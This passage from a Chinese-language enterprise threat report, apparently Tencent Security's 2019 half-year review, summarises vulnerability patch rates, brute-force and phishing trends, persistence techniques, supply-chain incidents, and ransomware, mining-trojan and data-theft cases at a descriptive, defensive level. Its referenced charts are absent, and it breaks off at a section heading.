腾讯安全于2019年4月揪出年度最大病毒团伙，高峰时控制上千万台电脑，包括幽虫、独狼、双枪、紫狐、贪狼等多个病毒木马家族，这些木马利用盗版Ghost系统、激活破解工具、热门游戏外挂等渠道传播，通过多种流行的黑色产业变现牟利：包括，云端控制下载更多木马、强制安装互联网软件、篡改锁定用户浏览器、刷量、挖矿等等。该病毒团伙在2018年7-8月为活跃高峰，被该病毒团伙控制的电脑仍在200-300万台。
### 3\. 行业感染病毒对比
教育科研行业成为病毒感染的重灾区，在主要的病毒类型远控、挖矿、勒索、感染型病毒中，教育科研行业的感染设备占比最高(接近或超过50%)。
在统计中教育科研行业主要包括中小学，高校及科研机构，在各类型病毒中其染毒比例最高，尤其是感染型病毒，其染毒比例高达58%，这和该行业频繁的文档传送及移动介质频繁使用交叉感染有关。
除了教育科研行业，政府机关及高科技企业在各类型病毒中的染毒比例也较高，染毒占比在14%到22%之间。远控类木马针对政府机关及高科技企业的攻击活动频繁，攻击成功后窃取机密文件等敏感信息。
腾讯安全御见威胁情报中心2019年5月捕获到一批针对政府和企业的攻击事件，通过发送钓鱼邮件，诱导用户打开带有恶意宏代码的word格式附件，打开附件后下载运行远控木马家族NetWiredRC，木马会窃取中毒电脑的机密信息上传到控制者服务器。
## (二) 终端脆弱性分析
漏洞利用及端口爆破是攻陷终端设备的重要手段，回顾2018年企业服务器的网络安全事件，可以发现数据泄露事件高发。航空、医疗、保险、电信、酒店、零售等行业均受影响。攻击者利用爆破、漏洞等方式攻陷企业服务器。2019年全球利用企业服务器产品漏洞的攻击依然未有放缓。简单的漏洞或缺乏简单的策略控制可能导致灾难性的后果，下面就常见的漏洞、攻击方式、和端口开放情况对终端脆弱性做些归纳性的总结，希望对各企业服务器安全防范有所帮助。
### 1\. 企业终端漏洞修复情况
系统高危漏洞往往会被黑客利用进行入侵，但部分企业安全风险意识较为薄弱，据腾讯安全御见威胁情报中心数据显示，截止6月底，仍有83%的企业终端上存在至少一个高危漏洞未修复。
在主要的高危漏洞中,永恒之蓝系列漏洞补丁安装比例最高，“永恒之蓝”最早于2017年被黑客组织影子经纪人泄漏,随后被大范围传播利用，其中影响最为广泛的WannaCry勒索软件利用该漏洞进行蠕虫式传播一时间席卷全球。虽然该漏洞补丁安装比例较高，但仍有不少机器仍未安装补丁，腾讯安全御见威胁情报中心监测到一款通过“驱动人生”系列软件升级通道传播的木马，仅2个小时受攻击用户就高达10万，就是利用“永恒之蓝”高危漏洞进行扩散传播。
RDS(远程桌面服务)漏洞(CVE-2019-0708)是今年五月份披露的高危漏洞，仍有大量机器没修复该漏洞(42%),其危害程度不亚于永恒之蓝系列漏洞，攻击者通过利用此漏洞，可以在远程且未经授权的情况下，直接获取目标
Windows 服务器权限，远程执行代码。
### 2\. 常见服务器漏洞攻击类型
#### 1) 系统组件类漏洞攻击
我们对暴露在公网的服务器做抽样分析发现，常见的系统组件漏洞攻击类型中，远程代码执行（RCE）、SQL注入、XSS攻击类型比例最高。
**远程代码执行（RCE）漏洞**
是服务器上一种最严重的安全隐患，攻击者可远程执行任意命令、代码，实现完全控制服务器主机。例如攻击可通过Web应用等漏洞,入侵或上传WebShell，使用反向shell获得对服务器的控制权。
反向shell是攻击者通过受害者出站连接来获得对受害者控制的常用方法。这种方法经常被使用，因为它很容易绕过防火墙限制，与入站连接不同，通常防火墙允许出站连接。一旦攻击者通过RCE获得对主机的控制权便完全控制了整个服务器系统，甚至可通过横向移动，控制内网其它主机、服务器。
**SQL** **注入（SQLi）**
是最早、最流行和最危险的Web应用程序漏洞，黑客攻击者可以利用Web应用程序对数据库服务器（如MySQL，Microsoft SQL
Server和Oracle）进行不安全的SQL查询。它利用了Web应用程序中的漏洞，这通常这些漏洞是由于代码错误导致的。
使用SQL注入，攻击者可以将SQL命令发送到数据库服务器，允许他们对数据进行未经授权的访问，在一些极端情况下甚至可控制整个运行数据库服务器的系统。SQLi也恰好是最容易理解的Web应用程序漏洞之一，拥有数百种免费的现成工具，使攻击者可以更快，更轻松地利用SQL注入漏洞。
通过SQL注入漏洞，攻击者可以绕过Web应用程序的身份验证和授权机制，检索整个数据库的内容，泄取机密信息。甚至添加，修改和删除该数据库中的记录，从而影响其数据完整性。由于SQL注入会影响使用SQL数据库的Web应用程序，因此几乎每种类型的Web应用程序都需要注意它。
**XSS(** **跨站脚本攻击)** , 与大多数影响服务器端资源的漏洞不同，跨站点脚本（XSS）是Web应用中出现的漏洞。
跨站点脚本通常可以被认为是主要通过使用JavaScript的应用代码注入。XSS有许多变形，攻击者的目标是让受害者无意中执行恶意注入的脚本，该脚本在受信任的Web应用程序中运行。利用XSS攻击可以实现窃取敏感数据，甚至修改Web应用程序的，诱导、骗取用户向攻击者提交敏感数据。
#### 2) 配置类漏洞攻击
2019年全球利用企业服务器产品漏洞的攻击依然未有放缓，数据泄露事件高发。航空、医疗、保险、电信、酒店、零售等行业均受影响。攻击者利用爆破、漏洞攻击等方式攻陷企业服务器，简单的漏洞或缺乏简单的控制可能导致灾难性的后果，而实际上许多通过黑客攻击和恶意软件进行的入侵是可以预防的。下面就常见的漏洞、和攻击方式做些归纳性的总结。
暴力破解(Brute Force),
是企图破解用户名、密码。通过查找隐藏的网页，或者使用试错等方法找到用于加密的密钥。我们这里说的爆破登录也属于暴力破解，简单来说就是用大量的身份认证信息来不断尝试登录目标系统，找到正确的登录信息（账号与密码）。一般黑客攻击者会采用工具进行爆破，利用字典（含有大量登录信息）批量爆破。常用的爆破工具有Burpsuite、Hydra等。
暴力破解这是一种比较古老的攻击方法，但它仍然有效并且受到黑客的欢迎。根据密码的长度和复杂程度，破解密码可能需要几秒到几年的时间，但事实上黑客通过弱口令字典和一些已泄露的用户账户资料字典，可能仅需几秒便可以完成对一个服务器的爆破登录。
对企业来说，黑客通常通过RDP、SSH等协议爆破登录到服务器，下面是我们对部分已检测到攻击的服务器做抽样分析得到黑客常用于爆破登录的协议统计。发现针对外网目标进行RDP、SMTP、SMB协议爆破攻击最为常见。
黑客成功入侵局域网之后对内的爆破攻击，使用的协议与外网有较大不同，SMB攻击最为常见，其次是远程桌面连接爆破和SSH爆破。
弱口令(Weak
Password)，如果说系统和一些应用组件存在的漏洞是代码错误造成的，那弱口令漏洞则是使用者人为创造的漏洞。弱口令一般是指很容易被人类和计算机(暴力破解工具)猜测到的口令。
人们经常使用明显的密码，如他们的孩子的名字或他们的家庭号码或者使用一些简单是字母、数字组合如“123”、“abc”，作为重要应用、系统的登录口令，以避免忘记。然而，密码越简单越有规律，就越容易被检测用于爆破登录。黑客利用弱口令字典，使用爆破工具，数秒甚至数毫秒便可以完成一次对服务器的入侵。在企业网络安全中，因为一些使用的不当服务器会存在弱口令漏洞而被入侵，所以说“人才是最大的漏洞”。
根据腾讯安全御见威胁情报中心检测，黑客最常用来进行弱口令爆破的密码如下。
### 3\. 2019上半年热门高危漏洞
**WebLogic** **反序列化高危漏洞**
CNVD-C-2019-48814(CVE-2019-2725), 2019年 4月17日国家信息安全漏洞共享平台（CNVD）公开了Oracle
Weblogic反序列化远程代码执行漏洞（CNVD-C-2019-48814）,攻击者可以发送精心构造的恶意 HTTP
请求，利用该漏洞，未经授权便可获得服务器权限，实现远程代码执行。而当时官方补丁尚未发布，漏洞处于0day状态，并且POC已在野公开。直到4月26日Oracle官方紧急发布修复补丁，并且该漏洞被定为
CVE-2019-2725。在此期间腾讯安全御见威胁情报中心已捕获多起利用CVE-2019-2725 漏洞传播勒索病毒事件。
漏洞影响版本：Oracle WebLogic Server 10.*，Oracle WebLogic Server 12.1.3
CVE-2019-2729：对CVE-2019-2725漏洞补丁的绕过，和CVE-2019-2725一样，都是围绕着 XMLDecoder
的补丁与补丁的绕过，攻击者可以发送精心构造的恶意 HTTP 请求，利用该漏洞，未经授权便可获得服务器权限，实现远程代码执行。
漏洞影响版本：Oracle WebLogic 10.3.6，Oracle WebLogic Server 12.1.3，Oracle WebLogic
Server 12.2.1.3
**Exim** **远程命令执行漏洞**
CVE-2019-10149（2019.5）：安全研究人员在Exim邮件服务器最新改动进行代码审计过程中发现Exim存在一个远程命令执行，漏洞编号为CVE-2019-10149攻击者可以以root权限使用execv()来执行任意命令，远程利用该漏洞，远程攻击者需要与存在漏洞的服务器建立7天的连接（每隔几分钟发送1个字节）
漏洞影响版本：Exim Version >= 4.87，Exim Version <= 4.91
**微软远程桌面服务漏洞(BlueKeep)**
CVE-2019-0708（2019.5）： 5月14日微软官方发布安全补丁，修复了Windows远程桌面服务的远程代码执行漏洞，该漏洞影响了Windows
XP，Windows7，Windows2003，Windows2008，Windows2008R2
等在内的常用Windows桌面以及服务器操作系统。此漏洞是预身份验证，无需用户交互。其危害程度不亚于CVE-2017-0143
EternalBlue，当未经身份验证的攻击者使用RDP（常见端口3389）连接到目标系统并发送特制请求时，可以在目标系统上执行任意命令。甚至传播恶意蠕虫，感染内网其他机器。
类似于2017年爆发的WannaCry等恶意勒索软件病毒。虽然具体利用细节没有公布，但BlueKeep漏洞公布不久便有POC在暗网交易。各大安全厂商也和黑客攻击者展开了时间赛跑，一方面安全厂商积极推送修复补丁，并尝试重现利用。腾讯御界威胁情报中心也在第一时间重现了利用，并推出了修复、拦截攻击方案。
漏洞影响版本：Windows XP，Windows7，Windows2003，Windows2008，Windows2008R2
**Windows NTLM** **认证漏洞**
CVE-2019-1040（2019.6）： 6月12日，微软官方在6月的补丁日中发布了漏洞 CVE-2019-1040的安全补丁,
漏洞存在于Windows大部分版本中，攻击者可以利用该漏洞绕过NTLM
MIC的防护机制，通过修改已经协商签名的身份验证流量，然后中继到另外一台服务器，同时完全删除签名要求。该攻击方式可使攻击者在仅有一个普通域账号的情况下，远程控制域中任意机器（包括域控服务器），影响非常严重。
漏洞影响版本：Windows7，Windows 8.1，Windows10，Windows2008，Windows2008R2，Windows Server
2012，Windows Server 2012R2，Windows Server 2016，Windows Server 2019
**国产办公/邮箱系统漏洞**
2019上半年，除了上面提到的常见的系统应用外，国内一些常用的办公、邮件等系统也被爆出高危漏洞，影响较大。
**1** **）Coremail配置信息泄露漏洞**
CNVD-2019-16798，2019.5，由于Coremail邮件系统的mailsms模块参数大小写敏感存在缺陷，使得攻击者利用该漏洞，在未授权的情况下，通过远程访问URL地址获取Coremail服务器的系统配置文件，造成数据库连接参数等系统敏感配置信息泄露。
漏洞影响版本：Coremail XT 3.0.1至XT 5.0.9版本
**2** **）致远 OA A8 远程Getshell 漏洞**
2019.6,致远互联旗下产品致远OA A8办公自动化软件被发现存在远程Getshell漏洞。致远互联是中国协同管理软件及云服务的厂商，致远OA A8
是一款流行的协同管理软件，很多大型企业都有应用。致远A8系统，被发现存在远程任意文件上传文件上传漏洞，攻击者上传精心构造的恶意文件，成功利用漏洞后可造成Getshell。漏洞细节已被公开，并且已经被在野利用。
漏洞影响版本：A8+V7.0 SP3、A8+ V6.1 SP2
### 4\. 企业端口开放情况
企业在网络空间的基础设施包含网站服务器以及运行在服务器上的各种应用、服务，承载了包括网站、电子邮件、文件传输等各种网络通信功能。他们在互联网上的机器语言表现形式是以基于TCP和UDP的各种端口的网络通信。
### 5\. 高危端口开放情况
我们将黑客攻击频次较高的常用端口划为高危端口，并抽样对Web服务器等互联网空间资产做了空间测绘，发现仍有33%的资产开放着这些高危端口，存在较高的安全隐患。
除了22、1900等端口，还有较大比重的邮件服务、数据库服务等端口暴露在公网上。
22端口是Linux平台默认的SSH远程连接服务端口， 而3389 是Windows默认的远程桌面的服务（RDP, Remote Desktop
Protocol）端口，通过SSH、RDP远程连接是非常方便的对服务器的操作方式，所以很多服务器管理员都会开启22、3389端口远程桌面服务。因而很多黑客攻击者很喜欢对22、3389端口尝试入侵，例如通过爆破，如果服务器存在弱密码登录的，很容易就被爆破成功，进而服务器被黑客控制。
7001端口是WebLogic的默认端口，WebLogic近期被爆出多个可被远程攻击的高危漏洞，如果漏洞未能及时修复，则不排除有远程攻击的可能。
1900 UDP端口 源于SSDP Discovery
Service服务。通过使用SSDP协议对端口1900进行扫描可以发现UPnP（即插即用协议）设备，攻击者可以利用这些设备发动DDoS攻击，制造出大量流量，可导致目标企业的网站和网络瘫痪。
根据测绘结果分析，仍有部分服务器资产开放了445端口。如果这些服务器没有打上相应的补丁，那么仍然存在被勒索病毒攻击的风险。即便是打上了补丁，也仍然需要面对勒索病毒变种的攻击。
## (三) 邮件安全
一封电子邮件从广义上来看，可以被分类为“正常邮件”与“非正常邮件”。我们在“邮件安全”这部分，将“非正常邮件”分为“垃圾邮件”与“恶意邮件”两大类，且由于“恶意邮件”对企业用户的危害程度更大，因此我们重点通过案例总结2019上半年中的恶意邮件的影响情况。
### 1\. 邮件安全趋势
#### 1) 垃圾邮件
根据友商卡巴斯基公开报告数据，在2019年第一季度全球邮件通信中的垃圾邮件占比超过55.97%，与2018年第四季度基本持平。其中3月份的垃圾邮件占比最高，达到56.33%。
为了对抗各类邮箱反过滤机制，垃圾邮件无缝不入，从广撒网式分发到精准发送，如下
“代开发票”垃圾邮件就通过滥用VMware官方账号绑定修改机制以达到绕过邮箱过滤机制效果。
#### 2) 恶意邮件
从恶意行为的角度来看，恶意邮件可以分为如下几种：骗回复敏感信息；骗打开钓鱼页面链接；骗打开带毒附件。企业用户日常容易遇到后两种案例，典型代表如带恶意附件的鱼叉邮件。鱼叉邮件是一种针对特定人员或特定公司的员工进行定向传播攻击。网络犯罪分子首先会精心收集目标对象的信息，使“诱饵”更具诱惑力。然后结合目标对象信息，制作相应主题的邮件和内容，骗取目标运行恶意附件。
根据友商卡巴斯基公开报告数据，目前在全球的邮件流量中排名前十的恶意软件家族如下（2019Q1）：
从攻击手段来看，有5类是通过直接投递病毒实体文件进行攻击，4类通过office文档进行攻击，1类通过PDF文档钓鱼攻击。其中最值得关注的仍然是office类攻击（office漏洞或者宏），缺乏安全知识的用户较容易忽略安装office补丁，或者轻易允许宏代码运行。
从国内观察邮件安全情况，腾讯御界高级威胁检测系统每日捕获到的鱼叉邮件多为“订单类与支付类”，订单类主题关键字涉及“订单”、“采购单”、“Purchase
Order”、“Request For Quotation”等；支付类主题关键字涉及有“Invoice（发票）”、“Payment”、“Balance
Payment Receipts”等，并且此两类邮件的内容通常与主题相符合以诱导用户点击恶意附件。
如下图与“订单”相关的邮件，通过将带有恶意宏代码的word文档伪装为附件“订单列表”，诱使用户打开文档并触发恶意宏代码或者漏洞执行，最终实现投放“NetWiredRC”远控木马。
还有一类也很常见的就是无主题邮件，此类邮件缺少主题甚至正文，只携带恶意附件，主要原因有两方面：
a. 缩短鱼叉邮件制作时间；
b. 为了方便群发邮件，每个群体都会有其特点，不易找到共同点。
在2017年爆发了WannaCry（永恒之蓝）勒索病毒后，很多变形后的勒索软件就是通过空白主题的邮件进行广泛传播的。
### 2\. 邮件安全案例
鱼叉邮件主要以投递“窃密”、“远控”木马为目的，近年来为了快速变现而投递勒索病毒的趋势也开始变多。2019年上半年，腾讯安全等共发布18次关于邮件安全的告警，其中腾讯安全御见威胁情报中心发布了16例有关恶意邮件的分析报告。从危害行为来看，以勒索为目的的恶意邮件有10例，包含8个主流勒索软件家族；以远控窃密为目的的恶意邮件有8例。从攻击手段来看，使用群发鱼叉邮件有8例，使用定制鱼叉邮件3例，利用office宏代码下载恶意本体有5例，使用软件的组件漏洞进行攻击的有2例。
**最受攻击者青睐的office漏洞CVE-2017-11882**
利用office软件的公式编辑器漏洞CVE-2017-11882实现隐秘远程下载的恶意邮件是十分常见的。用户容易误以为文档中不会有恶意代码。更重要的是，由于邮件来源和内容往往被高度伪装，用户很容易放下防备心打开文档，进而导致释放病毒。虽然该漏洞的补丁早在2017年11月公布提供修复，但实际上Office安全漏洞的修复率比系统补丁修复率要低得多，因此公式编辑器漏洞高成功率也是被广泛利用的主要原因。
2019年3月,腾讯安全御见威胁情报中心再次捕获到针对外贸行业的攻击样本。攻击者将恶意word文档作为附件，向外贸从业人员发送“报价单”等相关主题的鱼叉邮件，受害者一旦打开附件，恶意word文档便会利用CVE-2017-11882漏洞执行恶意代码，并释放fareit等窃密木马。
释放的窃密木马会窃取中毒电脑敏感信息，包括用户名密码、应用程序列表、邮件信息、FTP类工具软件的登录凭证、多款主流浏览器的登录凭证。
**总收入20亿美金的Gandcrab勒索病毒**
2019年3月13日，腾讯安全御见威胁情报中心检测到，不法分子正使用GandCrab5.2勒索病毒对我国部分政府部门工作人员进行鱼叉邮件攻击，使用的邮件主题名为“你必须在3月11日下午3点向警察局报到！”，该病毒由于使用RSA+Salsa20加密方式，无私钥常规情况下难以解密。
# 三、企业终端失陷攻击分析
## (一) 失陷攻击简述
迄今为止，绝大多数企业都还是以防火墙为基础划分出企业内网和公众网络的边界，并基于此构建安全体系。企业内网被认为是可信区间，为了便于开展日常工作，通常都不会对员工在内网中访问各种资源设置严格限制。
因此，当病毒突破外围防火墙进入内网环境之后，将会在内网肆意扩散。病毒为了让其自身恶意行为实现效益最大化，首先会通过开机启动实现常驻于用户系统，然后会尝试内网横向传播。接下来我们从“内网传播”与“持久化驻留方式”两个维度总结今年上半年企业终端受攻击情况。
## (二) 失陷攻击的横向扩散与常驻
### 1\. 内网传播
#### 1) 漏洞利用
从针对系统组件的漏洞攻击情况来看，今年上半年事件频发的内网病毒传播事件最热门的仍然是利用内网SMB共享服务漏洞进行传播的“永恒之蓝漏洞”，而利用该漏洞进行广泛传播的最为臭名昭著的病毒当属“永恒之蓝下载器”挖矿病毒。该病毒从2018年12月14日开始至今已经更新迭代超过15个版本，持续更新内网横向传播攻击方法。从应急响应现场中我们发现绝大多数是由于没能补上“永恒之蓝漏洞”而导致被反复攻陷。
#### 2)弱口令爆破攻击
弱密码爆破攻击在入侵内网以及作为横向扩散的手段都具有奇效。我们对部分已检测的服务器做抽样分析发现，弱密码爆破攻击集中发生在工作时间之外（早上9点之前，晚上6点之后），如下图所示。
#### 3) 文件共享
从应急响应现场中我们发现，文件共享目录、可移动介质仍然是蠕虫病毒、感染型病毒、office文档病毒在内网传播的感染重灾区。这三类病毒一般都以窃取敏感信息为主要目的。蠕虫具备自复制能力，可以将自身伪装为正常文件诱导用户，在不经意间便触发感染所有可访问的可移动介质与文件共享目录。感染型病毒虽然不具备自复制能力，但会感染所有可执行程序，但同样能通过文件共享进行传播。而office文档病毒一般会通过感染Normal模板或者加载项进而感染每一个office文档，如果该文档通过可移动介质与文件共享目录进行分享，则会导致横向传播。
### 2.持久化驻留方式
#### 1) 常驻于注册表相关启动位置或启动文件夹
常驻于这两个位置是最为简单方便的，但是也是最容易被拦截查杀的。因此病毒为了实现简单方便的常驻且能达到避免查杀的效果，通常会从免杀角度进一步对病毒进行优化，包括但不限于加壳混淆、增肥对抗等。从每日拦截的写入/执行数据来看，
被写入启动项的恶意脚本类型文件的占比最高，其次是恶意可执行文件，这两种类型的文件格式大部分都进行了混淆增肥对抗。在恶意脚本类型文件中，最常用的脚本格式是VBS（占比为38.3%），如下图所示。
#### 2) 常驻于任务计划
通过将自身写入任务计划实现常驻，相对于注册表与启动文件夹要更为隐蔽和灵活。而相对于病毒本体的常驻，利用系统白文件实现远程下载的方式更为灵活隐蔽。白利用远程下载的技巧常被利用于任务计划中。今年上半年最常利用任务计划实现常驻的病毒家族是“永恒之蓝下载器”，也被称作“DtlMiner”，占比达78.68%，具体如下图所示。
被恶意利用的系统组件数量占比如下图所示，PowerShell利用占比最高，达84.2%：
“永恒之蓝下载器”在更新迭代的多个版本中，曾多次对抗杀软，以躲避杀软对其任务计划项的拦截与查杀。例如，在对抗杀软拦截层面，迭代为以“/xml”参数完成任务计划配置的加载，在对抗杀软查杀层面，迭代为对特征字符串的切分拼接。除此之外，由于Windows平台下的系统组件的容错性较高，比如Regsvr32、PowerShell等，一些病毒从容错性的角度对执行的Regsvr32、PowerShell命令进行免杀处理。随着相关系统组件的更新迭代，如果其容错性再提高，则可能会出现更多针对其容错性的复合利用。
#### 3) 常驻于WMI类属性
这种启动方式要比上述的几个启动位置更加隐蔽，从我们监测到的数据里有接近23%的WMI类属性被写入了恶意脚本、被编码过的可执行程序与shellcode，其中就包含了臭名昭著的WannaMine和MyKings病毒家族的恶意代码。从目前收集的数据来看，WMI类属性的滥用主要被用于恶意推广，包括桌面恶意推广快捷方式（占43.7%），具体数据如下图所示。
## (三) 供应链攻击
供应链是涉及生产、分配、处理、维护货物的活动系统，以便将资源从供应商转移到最终消费者手中。在互联网行业中，该供应链环节也完全适用。一个软件从供应商到消费者使用，会经历开发、分发安装、使用、更新的环节，而供应链攻击则是黑客通过攻击各环节的漏洞，植入恶意病毒木马，利用正常软件的正常分发渠道达到传播木马的目的。
由于供应链攻击对于被攻击者而言没有任何感知，因此一直被黑客所青睐。以往供应链攻击往往多见于APT（高级持续性威胁）攻击，而在近几年，供应链攻击趋势开始有稳定增长，攻击事件层出不穷，日常网络攻击中越来越多的见到供应链攻击的手段。
图25
在2018年年度企业安全总结报告中，腾讯安全御见威胁情报中心预测针对软件供应链的攻击会更加频繁。在2019上半年，以“永恒之蓝”木马下载器为典型的供应链攻击“大展身手”，尽管爆发了有半年之多，但是如今依然有不少企业深受其害。
### 1\. “永恒之蓝”木马下载器案例
2018年12月14日下午约17点，腾讯安全御见威胁情报中心监测到一款通过“驱动人生”系列软件升级通道传播的永恒之蓝木马下载器突然爆发，仅2个小时受攻击用户就高达10万，当天腾讯安全御见情报中心全国首发预警。该病毒会通过云控下发恶意代码，包括收集用户信息、挖矿等，同时利用“永恒之蓝”高危漏洞进行扩散。
但14日的爆发仅仅是个开始，尽管驱动人生公司第一时间将受到木马影响的升级通道进行了紧急关闭，但永恒之蓝木马下载器的幕后控制者并没有就此放弃行动，而是借助其已经感染的机器进行持续攻击：包括通过云控指令下发挖矿模块，在中招机器安装多个服务以及通过添加计划任务获得持续执行的机会，后续版本在攻击模块新增SMB爆破、远程执行工具psexec攻击、利用Powershell版mimikatz获取密码，以增强其扩散传播能力。根据腾讯安全御见威胁情报中心监测，仅2019年上半年就变种十余次，是影响范围最大的攻击之一。在下半年或许有更频繁的更新、攻击。
### 2\. “CAXA数码大方”画图软件案例
2019年4月，腾讯安全御见威胁情报中心检测到，有多个“CAXA数码大方”组件均在被ramnit家族感染型病毒感染之后签署上了官方有效的数字签名，被感染的组件具有正常的数字签名信息以及与官方包发布的一致的证书指纹。
# 四、企业终端失陷危害分析
终端设备感染病毒失陷后会对企业造成不同程度的危害,常见的危害如敲诈勒索，挖矿占用系统资源，信息窃密，失陷设备被植入后门变成肉鸡等。其中企业客户感知最明显的为勒索病毒，感染后会加密或删除重要资料文件后进行敲诈勒索，有时即使交付赎金也不一定可以解密，对企业造成重大损失。随着数字货币的兴起，感染挖矿木马的设备也越来越多，挖矿类病毒木马会占用系统大量资源，造成系统运行卡慢等。除了挖矿、勒索、信息窃密，有些危害难以被受害者察觉，如被植入后门，风险流氓软件主页劫持，静默刷量等，但这些风险的存在对设备安全存在巨大的安全隐患，企业管理人员不可轻视。
## (一) 敲诈勒索
2019上半年中，勒索病毒依然是破坏力最强影响面最广的一类恶意程序，通过恐吓、绑架用户文件或破坏用户计算机等方式，向用户勒索数字货币。在19年上半年累计感染攻击数超250w，其中以2019年1月份最为活跃，2月到6月整体较为平稳，近期略有上升趋势。
最为活跃的仍是GandCrab勒索病毒家族，在欧洲警方和安全厂商的多次打击并接管其服务器后，GandCrab于6月1日宣布停止后续更新。但在利益的驱使下，
Sodinokibi勒索病毒很快接管GandCrab的传播渠道，呈后来居上之势。
重大案例情报：
（1）2019年1月，腾讯安全御见威胁情报中心检测到charm勒索病毒在国内开始活跃，该勒索病毒攻击目标主要为企业Windows服务器
（2）2019年2月，腾讯安全御见威胁情报中心检测到新型勒索病毒Clop在国内开始传播，国内某企业被攻击后造成大面积感染，由于该病毒暂无有效的解密工具，致使受害企业大量数据被加密而损失严重。
（3）2019年2月，腾讯安全御见威胁情报中心接到山东某企业反馈，该公司电脑被Aurora勒索病毒加密。
（4）2019年4月，腾讯安全御见威胁情报中心检测发现，勒索病毒Mr.Dec家族新变种出现，该勒索病毒主要通过垃圾邮件传播。
（5）2019年4月，腾讯安全御见威胁情报中心检测到，Stop勒索病毒变种（后缀.raldug）在国内有部分感染，并且有活跃趋势。该勒索病毒在国内主要通过软件捆绑、垃圾邮件等方式进行传播。
（6）2019年5月，腾讯安全御见威胁情报中心检测到国内发生大量借助钓鱼邮件方式传播的sodinokibi勒索攻击。该勒索病毒不光使用Web相关漏洞传播，还会伪装成税务单位、私发机构，使用钓鱼欺诈邮件来传播。
（7）2019年5月，腾讯安全御见威胁情报中心检测发现，JSWorm勒索病毒JURASIK变种在国内传播，该勒索病毒会加密企业数据库数据。
（8）2019年5月，美国海港城市、巴尔的摩市政府大约1万台电脑被勒索病毒入侵，导致所有政府雇员无法登陆电子邮件系统，房地产交易无法完成，市政府陷入瘫痪一个多月。
（9）2019年6月1日，最流行的勒索病毒之一GandCrab运营团队表示GandCrab勒索病毒将停止更新。
（10）2019年6月，腾讯安全御见威胁情报中心检测发现，新型勒索病毒Maze在国内造成部分感染。该勒索病毒擅长使用Fallout
EK漏洞利用工具，通过网页挂马等方式传播。
（11）2019年6月，世界上最大的飞机零部件供应商之一ASCO遭遇勒索病毒攻击，造成了四个国家的工厂停产。
## (二) 挖矿木马
挖矿木马通过占用计算机大量资源，用于数字加密货币的挖掘。随着挖矿产币效率的降低，在2019年上半年挖矿木马的传播趋势也逐渐下降。但是近来数字货币价值暴涨，或许会直接导致挖矿木马的新一轮爆发。
（1）2019年1月，腾讯安全御见威胁情报中心检测到针对phpStudy网站服务器进行批量入侵的挖矿木马。攻击者对互联网上的服务器进行批量扫描，发现易受攻击的phpStudy系统后，利用用户在安装时未进行修改的MySQL弱密码进行登录，并进一步植入WebShell，然后通过Shell下载挖矿木马挖门罗币。
（2）2019年3月，腾讯安全御见威胁情报中心发现新型挖矿木马“匿影”。该木马自带NSA全套武器库，对企业内网安全威胁极大。
（3）2019年3月，腾讯安全御见威胁情报中心发现针对MySql服务器进行扫描爆破的挖矿木马攻击。
（4）2019年4月，腾讯安全御见威胁情报中心发现WannaMine采用“无文件”攻击组成挖矿僵尸网络，攻击时执行远程Powershell代码，全程无文件落地。
（5）2019年4月，腾讯安全御见威胁情报中心检测到“Blouiroet”挖矿木马复苏。该木马会首先结束所有其他挖矿木马进程，独占系统资源运营门罗币挖矿程序。
（6）2019年5月，腾讯安全御见威胁情报中心捕获到新的挖矿木马家族NSAMsdMiner，该木马使用NSA武器的永恒之蓝、永恒浪漫、永恒冠军、双脉冲星4个工具进行攻击传播。
（7）2019年6月，腾讯安全御见威胁情报中心捕获到一个利用多种方式在内网攻击传播的挖矿木马SpreadMiner。该木马会利用永恒之蓝漏洞（MS17-010）攻击内网；利用Lnk漏洞（CVE-2017-8464）通过共享木马和移动存储设备感染传播；同时还对MS
SQL服务器进行弱口令爆破攻击。
## (三) 信息窃密
信息窃密类木马其主要目的是获取机器上的机密敏感信息，科研机构、高校、高科技企业及政府机关等最易受到这类木马攻击，窃取的信息包括失陷机器相关信息(MAC及IP地址，操作系统版本等)，个人或企业信息(如企业员工联系方式，企业邮箱等)，重要机密文件等等。2019年上半年典型的信息窃密类安全事件如下：
1.腾讯安全御见威胁情报中心于今年五月截获一窃密团伙利用Office漏洞植入窃密木马，瞄准企业机密信息，备用病毒超60个。
2.迅销集团旗下日本电商网站账户遭黑客攻击，旗下品牌优衣库、GU销售网站逾46万名客户个人信息遭未授权访问，造成信息泄露。
3.Capital One数据泄漏事件，Capital
One表示黑客获得了包括信用评分和银行账户余额在内的信息，以及约14万名客户的社会安全号码，据Capital
One统计，数据泄露影响了全美约1亿人和加拿大约600万人。
4.腾讯安全御见截获一病毒团伙，病毒攻克1691台服务器，超3300万个邮箱密码泄漏，包括Yahoo、Google、AOL、微软在内的邮箱服务均在被攻击之列。
5.腾讯御界捕获到一批针对政府和企业的钓鱼邮件攻击，攻击者假冒某知名快递公司邮箱给客户发送电子发票，通过伪造邮件中的危险附件和链接将目标诱骗到钓鱼网站，骗取企业帐号密码。
## (四) 刷量推广
部分病毒木马感染机器后，主要是通过刷量，主页锁定，软件推装获利，直接危害虽然没有敲诈勒索，信息窃密那么大，但风险木马的存在对中招设备有着巨大的安全隐患，风险软件内嵌的广告页常因漏洞或人为因素植入挂马代码。此外，强制锁定主页，流氓推装等行为也给用户带来很大的困扰。这类病毒木马通过下载器、ghost系统、游戏外挂、流氓软件等互相传播，因此有感染量巨大的特点。2019年4月份腾讯安全就披露了一特大病毒团伙，高峰时感染机器设备超千万台。2019年上半年典型的刷量推广类安全事件如下：
1.腾讯安全御见威胁情报中心发现一病毒团伙通过伪装多款知名软件的官方下载站传播病毒下载器，传播渠道是通过购买搜索引擎广告来获得流量，被病毒团伙使用的关键字包括谷歌浏览器、flash
player等知名软件,静默推装超过30款软件，此外还会通过锁定浏览器主页及添加网址收藏夹等获得收益。每天中招下载的用户近万，累计已有数十万用户电脑被感染。
2.腾讯安全揪出年度最大病毒团伙，高峰时控制近4000万台电脑，包括幽虫、独狼、双枪、紫狐、贪狼等多个病毒木马家族，这些木马利用盗版Ghost系统、激活破解工具、热门游戏外挂等渠道传播，通过多种流行的黑色产业变现牟利：包括，云端控制下载更多木马、强制安装互联网软件、篡改锁定用户浏览器、刷量、挖矿等等。
该病毒团伙在2018年7-8月为活跃高峰，当时被感染的电脑在3000万-4000万台之间。至当期报告发布时，被该病毒团伙控制的电脑仍在200-300万台。
3.独狼木马家族已被腾讯电脑管家多次披露，今年上半年持续活跃，除了主页锁定，还推装广告弹窗木马进程，自动弹出“最热搜”等广告弹窗，即使把广告进程文件删除了也会被反复释放。
## (五) 肉鸡后门
